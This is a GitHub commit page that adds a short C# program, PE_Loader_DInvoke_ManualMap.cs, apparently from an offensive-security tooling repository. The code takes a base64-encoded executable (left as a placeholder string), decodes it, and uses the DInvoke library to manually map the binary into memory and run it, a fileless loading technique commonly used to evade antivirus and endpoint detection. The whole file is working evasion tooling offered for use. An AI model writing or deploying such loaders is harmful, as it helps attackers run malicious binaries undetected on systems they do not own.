Skip to content

Commit

Permalink
Create PE_Loader_DInvoke_ManualMap.cs
Browse files Browse the repository at this point in the history
  • Loading branch information
S3cur3Th1sSh1t authored Mar 3, 2021
1 parent d3458cc commit 468a284
Showing 1 changed file with 18 additions and 0 deletions.
18 changes: 18 additions & 0 deletions Csharp/PE_Loader_DInvoke_ManualMap.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
using System;
// install nuget package DInvoke + Fody
namespace PELoader
{
class Program
{
static void Main()
{

string peAsString = "BASE64EncodedBinary";

byte[] unpacked = System.Convert.FromBase64String(peAsString);
DInvoke.Data.PE.PE_MANUAL_MAP mapPE = DInvoke.ManualMap.Map.MapModuleToMemory(unpacked);
DInvoke.DynamicInvoke.Generic.CallMappedPEModule(mapPE.PEINFO, mapPE.ModuleBase);
Console.ReadLine();
}
}
}

0 comments on commit 468a284

Please sign in to comment.